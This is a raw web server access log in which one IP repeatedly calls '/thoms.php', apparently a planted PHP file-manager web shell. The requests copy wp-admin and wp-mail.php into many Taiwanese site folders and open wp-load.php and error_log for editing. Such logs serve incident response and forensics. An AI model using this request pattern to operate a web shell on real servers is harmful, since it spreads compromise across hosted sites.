45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20746 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17360 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12538 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20830 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19389 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17706 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20966 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=wordpress-6.6-20260912023539 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16555 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18387 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17563 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17377 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=ba-guo.com-20260912023525 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22660 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17304 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13337 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=wp-content-20260912023544 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12538 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:16 -0400] "GET /thoms.php?edit=error_log&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 17573 "http://163.245.207.76:443/thoms.php?edit=error_log&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?edit=error_log&p=bestjudy.com.tw HTTP/1.1" 200 13917 "http://163.245.207.76:443/thoms.php?edit=error_log&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?edit=wp-load.php&p=bestjudy.com.tw HTTP/1.1" 200 13398 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?edit=wp-load.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 17007 "http://163.245.207.76:443/thoms.php?edit=wp-load.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bioway88.com.tw HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bossini.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=wp-content-20260912023544 HTTP/1.1" 200 11376 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=beauty-dental.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bestjudy.com.tw HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bft.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=cgi-bin HTTP/1.1" 200 11335 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bestzyx.com.tw HTTP/1.1" 200 11421 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22688 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=betcity.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:17 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11404 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=wp-content HTTP/1.1" 200 11432 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bodbooks.com.tw HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=booking-wise2.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bfl.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=biotaiwan.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=upgrade HTTP/1.1" 200 11370 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=ba-guo.com.tw HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22677 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bogroup.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=broadweb.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=besth2o.com.tw HTTP/1.1" 200 11502 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=big-wife.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11316 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22673 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11406 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p= HTTP/1.1" 200 12405 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:19 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18494 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
